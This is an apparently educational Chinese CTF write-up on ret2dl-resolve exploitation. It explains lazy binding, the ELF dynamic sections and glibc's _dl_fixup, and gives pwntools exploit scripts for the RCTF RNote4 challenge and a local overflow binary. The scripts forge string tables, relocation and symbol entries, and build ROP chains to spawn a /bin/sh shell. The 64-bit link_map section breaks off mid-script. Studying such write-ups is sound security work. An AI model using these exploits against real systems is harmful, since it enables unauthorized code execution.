参考链接:
https://www.freebuf.com/articles/system/170661.html
https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#more
https://bbs.pediy.com/thread-227034.htm
https://bbs.pediy.com/thread-253833.htm
https://blog.csdn.net/conansonic/article/details/54634142
前置知识:函数执行流程
因为程序分为静态链接跟动态链接,因为好多库函数在程序中并不一定都用到,所以在处理动态链接程序的时候,elf文件会采取一种叫做延迟绑定(lazy binding)的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正确定这个函数在进程中的位置,下面我们通过一个程序来展示这个过程。1
2
3
4
5
6
7
8
9
10
11//gcc fun.c -fno-stack-protector -m32 -o fun
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}
以read函数为例,下断点到read@plt
1 | b *0x80482e0 |
1 | ► 0x80482e0 <read@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x804a00c> |
1 | x/4xw 0x804a00c |
1 | pwndbg> x/4xw 0x804a004 |
通过上面一步一步调试,可以清楚看到函数执行流程,call read@plt –>read@got.plt –>read@plt+6 –>_dl_runtime_resolve(link_map,rel_offest) –> _dl_fixup –> ret _dl_runtime_resolve+16 –> ret read
其中_dl_runtime_resolve函数的两个参数 link_map=0xf7ffd918,rel_offest=0,执行完_dl_runtime_resolve()函数后,就返回到了read函数。
但绑定的过程是在 _dl_fixup中实现的,接下通过_dl_fixup的源码分析一下函数绑定的实现1
2
3
4
5
6
7 stack 6
00:0000│ esp 0xffffcf04 —▸ 0xf7ffd918 ◂— 0x0
01:0004│ 0xffffcf08 ◂— 0x0
02:0008│ 0xffffcf0c —▸ 0x8048424 (fun+25) ◂— add esp, 0x10
03:000c│ 0xffffcf10 ◂— 0x0
04:0010│ 0xffffcf14 —▸ 0xffffcf20 ◂— 0x8000
05:0014│ 0xffffcf18 ◂— 0x200
1 | 0xf7fee00b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe77e0> |
借用Veritas501大佬的图更直观的了解这个过程
ELF关于动态链接的一些关键section
先熟悉一下几个动态链接的一些关键section,以便于分析源码
.dynamic
包含了一些关于动态链接的关键信息,在这个fun上它长这样,事实上这个section所有程序都差不多
1 | LOAD:08049F14 _DYNAMIC Elf32_Dyn <1, <1>> ; DATA XREF: LOAD:080480BC↑o |
这个section的用处就是他包含了很多动态链接所需的关键信息,我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针,可以readelf -S fun看一下各个段的地址,会发现这三个section的地址跟在ida所示的地址是一样的。
1 | readelf -S fun |
.dynsym
1 | LOAD:080481CC ; ELF Symbol Table |
这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。结构体定义如下1
2
3
4
5
6
7
8
9typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
.dynstr
一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个read。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x080481AC的偏移。1
2
3
4
5
6
7
8
9
10
11
12
13LOAD:0804821C ; ELF String Table
LOAD:0804821C byte_804821C db 0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804821C ; LOAD:080481EC↑o ...
LOAD:0804821D aLibcSo6 db 'libc.so.6',0
LOAD:08048227 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804820C↑o
LOAD:08048236 aRead db 'read',0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804823B aLibcStartMain db '__libc_start_main',0
LOAD:0804823B ; DATA XREF: LOAD:080481FC↑o
LOAD:0804824D aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:080481EC↑o
LOAD:0804825C aGlibc20 db 'GLIBC_2.0',0
LOAD:08048266 align 4
LOAD:08048268 dd 2, 10002h, 10001h, 1, 10h, 0
LOAD:08048280 dd 0D696910h, 20000h, 40h, 0
.rel.plt
1 | LOAD:08048290 ; ELF REL Relocation Table |
这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:1
2
3
4
5
6
7
8typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
gilbc2.23 _dl_fixup源码分析
glibc源码阅读网站 https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#61
glibc源码下载网站 http://ftp.gnu.org/gnu/glibc/
_dl_fixup函数的两个参数 struct link_map *l , ELFW(Word) reloc _arg都在glibc/elf/link.h中定义1
2
3
4
5
6
7
8
9
10struct link_map
{
/* 前几个成员是使用调试器的协议的一部分.
这与SVR4中使用的格式相同. */
ElfW(Addr) l_addr; /* ELF文件中的地址与内存中的地址之间的差异*/
char *l_name; /* 绝对文件名对象. */
ElfW(Dyn) *l_ld; /* 共享对象的动态部分 .dynamic */
struct link_map *l_next, *l_prev; /* 后一个链和前一个链.*/
};
1 | /* We use this macro to refer to ELF types independent of the native wordsize. |
_dl_fixup 在glibc/elf/dl-runtime.c
首先说第一个参数,是一个link_map的指针,它包含了.dynamic的指针,通过这个link_map,_dl_runtime_resolve函数可以访问到.dynamic这个section
而第二个参数,是当前要调用的导入函数在.rel.plt中的偏移(不过64位的话就直接是index下标),比方说这里,read就是0,__libc_start_main就是1*sizeof(Elf32_Rel)=8
1 | _dl_fixup ( |
_dl_fixup函数
- 1 _dl_fixup函数首先通过宏D_PTR从用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
- 2 rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
- 3 rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
- 4 .dynstr + sym->st_name得出符号名字符串指针
- 5 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
- 6 调用这个函数
利用
那么,这个怎么去利用呢,有多种利用方式
伪造 .dynsym
即使保护全没开 .dynsym也是不可写的,但可以
通过改写.dynamic的DT_STRTAB来伪造ELF String Table,也就是.dynsym
这个只有在checksec时No RELRO可行,即.dynamic可写。因为ret2dl-resolve会从.dynamic里面拿.dynstr字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。比方说,原本是一个free函数,我们就把原本是free字符串的那个偏移位置设为system字符串,第一次调用free(“bin/sh”)(因为只有第一次才会resolve),就等于调用了system(“/bin/sh”)。
例题就是RCTF的RNote4,题目是一道堆溢出,NO RELRO而且NO PIE溢出到后面的指针可以实现任意地址写。
1 | unsigned __int64 edit() |
所以呢,可以先add两个note,然后编辑第一个note使得堆溢出到第二个note的指针,然后再修改第二个note,实现任意写。至于写什么,刚刚也说了,先写.dynamic指向字符串表的指针,使其指向一块可写内存,比如.bss,然后再写这块内存,使得相应偏移出刚好有个system\x00。exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46from pwn import *
g_local=True
#e=ELF('./libc.so.6')
#context.log_level='debug'
if g_local:
sh =process('./RNote4')#env={'LD_PRELOAD':'./libc.so.6'}
gdb.attach(sh)
else:
sh = remote("rnote4.2018.teamrois.cn", 6767)
def add(content):
assert len(content) < 256
sh.send("\x01")
sh.send(chr(len(content)))
sh.send(content)
def edit(idx, content):
assert idx < 32 and len(content) < 256
sh.send("\x02")
sh.send(chr(idx))
sh.send(chr(len(content)))
sh.send(content)
def delete(idx):
assert idx < 32
sh.send("\x03")
sh.send(chr(idx))
#伪造的字符串表,(0x457-0x3f8)刚好是"free\x00"字符串的偏移
payload = "C" * (0x457-0x3f8) + "system\x00"
#先新建两个notes
add("/bin/sh\x00" + "A" * 0x10)
add("/bin/sh\x00" + "B" * 0x10)
#溢出时尽量保证堆块不被破坏,不过这里不会再做堆的操作了其实也无所谓
edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x601EB0))
#将0x601EB0,即.dynamic的字符串表指针,写成0x6020C8
edit(1, p64(0x6020C8))
edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x6020C8))
#在0x6020C8处写入伪造的字符串表
edit(1, payload)
#会第一次调用free,所以实际上是system("/bin/sh")被调用,如前面所说
delete(0)
sh.interactive()
伪造Elf32_Rel
通过操纵第二个参数,使其指向我们所构造的Elf32_Rel
当.dynamic不可写时,那么以上方法就没用了,所以有第二种利用方法
上面我们讲完了函数的解析流程 主要是由dl_runtime_resolve(link_map,rel_offset),之所以它能解析不同函数的地址,以为我们传入的rel_offset不同,因此,把传入的rel_offset改为我们希望的函数的偏移,便可以执行我们希望的函数,新的问题来了,.rel.plt中不一定存在我们希望的函数,因此就需要我们伪造一个.rel.plt,将rel_offset修改为一个比较大的值,在.rel.plt+rel_offset的地方是我们伪造好的,结构跟.rel.plt相同的数据,这样我们就相当于伪造好了reloc(重定位入口),程序又会根据r_info找到对应的.dynsym中的symbols,我们再次伪造symbols的内容->st_name,使得到的str在我们的可控地址内,然后在.dynstr+st_name地址处放置库函数字符串例如:system。
所以,最终的利用思路,大概是1
2
3
4.plt:0000000000400610 ; __unwind {
.plt:0000000000400610 push cs:qword_602008
.plt:0000000000400616 jmp cs:qword_602010
.plt:0000000000400616 sub_400610 endp
构造ROP,跳转到resolve的PLT,push link_map的位置,就是上面所示的这个地方,也就是要调用_dl_runtime_resolve的地方,此时,栈中必须要有已经伪造好的指向伪造的Elf32_Rel的偏移
伪造一个很大的rel_offset,一直偏移到bss段(一般这里可读可写,且位于.rel.plt的高地址)
伪造Elf32_Rel即.rel.plt的结构,由RELSZ可知,它的大小为8字节(commend: readelf -d fun 可以看到),我们需要fake r_offset,以及r_info,r_offset一般是函数在.got.plt的地址,r_info可以用来计算在symtab中的index并且保存了类型,所以我们可以让伪造的symtab的数据紧跟在这段数据后面,这样我们就可以计算出它的index: index=(bss+0×100-.dynsym)/0×10(因为SYMENT指明大小为16字节),类型必须为7,所以我们就可以计算出r_info的值
r_info=(index << 8 ) | 0x7
伪造symtab,这一部分包含四个字段,我们只需要改st_name部分即可,其余部分按照程序原有的值赋值,st_name表示了字符串相对strtab的偏移,我们可以将字符串写在紧邻这一部分的高地址处
伪造strtab,这里我们直接将所需库函数的字符串写入即可,例如system
dl_runtime_resolve函数便会将system函数的地址,写到read函数对应的got表中去,再次调用read就相当于调用了system函数
利用思路如下:
第一次调用read函数,返回地址再溢出成read函数,这次参数给一个.bss的地址,里面放我们的payload,包括所有伪造的数据结构以及ROP。注意ROP要放在数据结构的前面,不然ROP调用时有可能污染我们伪造的数据结构,而且前面要预留一段空间给ROP所调用的函数用。调用完第二个read之后,ROP到leave; retn的地址,以便切栈切到在.bss中我们构造的下一个ROP链
1 | payload1 = 'a'*0x2C |
第二次调用read函数,此时要sendROP链以及所有相关的伪造数据结构完整的exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59#!/usr/bin/env python
# coding=utf-8
from pwn import *
p=process('./fun')
pop_ebp_ret=0x080484ab
leave_ret=0x08048378
fake_stack_size=0x800
bss=0x0804a01c
read_plt=0x080482e0
read_got=0x0804a00c
bss_stage=bss+fake_stack_size
dynsym=0x080481cc
dynstr=0x0804821c
dl_runtime_resolve=0x080482d0
relplt=0x08048298
rel_offset=bss_stage+28-relplt
fake_sym_addr=bss_stage+36
align=0x10-((fake_sym_addr-dynsym)&0xf) #为了16字节对齐
print 'align==>'+hex(align)
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10
print 'index==>'+hex(index)
r_info=(index<<8)|0x7
print 'r_info==>'+hex(r_info)
fake_raloc=p32(read_got)+p32(r_info)
st_name=fake_sym_addr-dynstr+16
fake_sym=p32(st_name)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)
#gdb.attach(p)
payload1 = 'a'*0x2C
payload1 += p32(pop_ebp_ret) + p32(bss + 0x800)
payload1 += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_stage) + p32(0x1000)
p.send(payload1)
binsh='/bin/sh'
payload='aaaa'
payload+=p32(dl_runtime_resolve)
payload+=p32(rel_offset)
payload+='aaaa'
payload+=p32(bss_stage+80)
payload+='aaaa'
payload+='aaaa'
payload+=fake_raloc
payload+='a'*align
payload+=fake_sym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=binsh+'\x00'
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()
伪造link_map
64位情况下,伪造rel.plt变得不可行,因为在
1 | if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) |
这里,出现了访问未映射的内存
主要是reloc->r_info过大的原因,因为我们在bss段伪造的数据,而bss段一般位于0x600000
然后真正的rel.plt位于0x400000内,导致过大。
如果我们在里0x400000处有可读写的区域,或许就可以成功
因此,我们得另外想办法,那么得回过来看源代码1
2
3
4
5
6
7
8if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
...
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
我们到最外层的else里去,如果,我们伪造link_map,让sym->st_value为某个已经解析了的函数的地址,比如read,让l->l_addr为我们需要的函数(system)到read的偏移,这样,l->l_addr + sym->st_value就是我们需要的函数地址
如果,我们把read_got – 0x8处开始当成sym,那么sym->st_value就是read的地址,并且sym->st_other正好也不为0,绕过了if,一举两得
为了伪造link_map,我们需要知道link_map的结构,在glibc/include/link.h文件里,link_map结构比较复杂,但是,我们只需伪造需要用到的数据即可,
以jiavis oj level3_x64为例
1 | from pwn import * |